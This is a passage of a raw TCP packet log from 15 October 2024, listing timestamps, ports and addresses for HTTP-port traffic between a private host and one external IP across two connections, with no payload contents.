Oct 15, 2024 19:22:31.539550066 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539583921 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539617062 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539630890 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539650917 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539684057 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539701939 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539736986 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539771080 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539788961 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539804935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539855957 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539859056 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539895058 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539944887 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539946079 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539980888 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540014029 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540029049 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540052891 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540102959 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540106058 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540141106 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540174961 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540189981 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540215015 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540266991 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540302038 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540355921 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540390015 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540410042 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540474892 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540508032 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540530920 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540540934 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540575981 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540601015 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540611029 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540644884 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540679932 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540697098 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540714025 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540721893 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.540910959 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540944099 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540977001 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.540998936 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.541028976 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.541060925 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.541094065 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.541112900 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.541127920 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.541177988 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.583139896 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.606631994 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.611015081 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:33.689646959 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:33.694631100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:33.697587013 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:33.698367119 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:33.703197956 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538177013 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538204908 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538222075 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538261890 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538269997 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.538278103 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538299084 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538315058 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538327932 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.538331985 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538343906 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.538369894 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.538407087 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538422108 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.538459063 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.543210983 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.543240070 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.543255091 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.543286085 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.588483095 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.656044006 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.664427996 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.664459944 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.664500952 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.664511919 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.664546013 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.664580107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.664602995 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.664613962 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.664649010 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.665041924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.665092945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.665138960 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.665220976 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.665267944 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.665275097 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.665307999 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.665342093 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.665374041 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.665390015 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.665417910 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.781466007 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.781505108 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.781538963 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.781575918 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.781629086 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.781696081 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.781697035 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.781749010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.781783104 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.781816959 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.781835079 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.781862974 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.782527924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.782561064 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.782593966 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.782644987 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.824402094 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.824434996 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.824450016 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.824456930 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.824490070 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.824505091 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.824529886 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.824564934 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.898782969 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.898819923 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.898874044 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.898881912 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.898909092 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.898942947 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.898971081 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.898977995 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.899019003 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.899061918 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.899708033 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.899741888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.899770975 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.899776936 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.899916887 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.900063038 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.900094032 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.900142908 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.941956997 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.941993952 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.942028999 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.942039967 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:34.942065001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:34.942154884 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.017749071 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.017816067 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.017851114 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.017884016 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.017901897 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.017920017 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.017940044 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.018030882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.018143892 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.018151045 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.018224001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.018259048 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.018279076 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.018294096 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.018328905 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.018893003 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.060403109 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.060461044 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.060492039 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.060496092 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.060539961 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.060544014 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.060578108 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.060622931 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.134567976 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.134603024 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.134654999 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.134659052 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.134727955 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.134759903 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.134793043 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.134808064 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.134833097 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.135296106 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.135360003 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.135431051 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.135503054 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.135620117 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.135652065 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.135683060 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.135876894 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.135929108 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.135929108 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.178433895 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.178493977 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.178589106 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.178622007 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.178656101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.178689957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.178719997 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.178744078 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.178801060 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.244575024 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.252868891 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.252902985 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.252918959 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.252943039 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.252959013 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.252958059 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.252991915 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.253274918 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.253289938 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.253304005 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.253318071 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.253325939 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.253355980 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.292778969 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.292802095 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.292819977 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.292834997 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.292880058 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.295629978 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.295706987 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.295743942 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.295758963 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.295787096 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.295818090 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.295871973 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.295932055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.295948029 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.295969009 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.353794098 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.372400999 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.372477055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.372528076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.372553110 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.372560978 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.372596979 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.372611046 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.372632980 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.372677088 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.372806072 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.372862101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.372946024 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.409725904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.409785032 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.409816980 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.409849882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.409857035 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.409887075 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.413055897 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413108110 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413173914 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413187027 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.413224936 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413417101 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.413420916 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413579941 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413614988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413628101 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.413731098 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413810968 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413844109 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.413850069 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.413887978 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.489752054 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.489872932 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.489906073 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.489940882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.489959955 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.489974976 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.490001917 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.528171062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.528223038 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.528223991 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.528258085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.528753042 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.534432888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.534503937 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.534554005 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.534585953 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.534593105 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.534621000 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.534637928 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.534871101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.534923077 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.534924030 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.534959078 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.534992933 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.535001993 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.535024881 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.535177946 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.615381956 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.615477085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.615510941 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.615528107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.615598917 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.615658045 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.646054029 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.646181107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.646230936 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.646262884 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.646265030 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.646298885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.646310091 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.649138927 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.649168015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.649183989 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.649199963 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.649251938 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.649264097 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653016090 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653067112 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653110027 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.653117895 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653152943 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653161049 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.653187037 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653260946 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.653841972 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653875113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653908014 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.653922081 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.726958036 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.726993084 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.727030039 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.727046013 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.727102995 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.763231993 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.763267040 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.763302088 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.763350964 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.763431072 CEST	80	49793	87.120.127.223	192.168.2.5
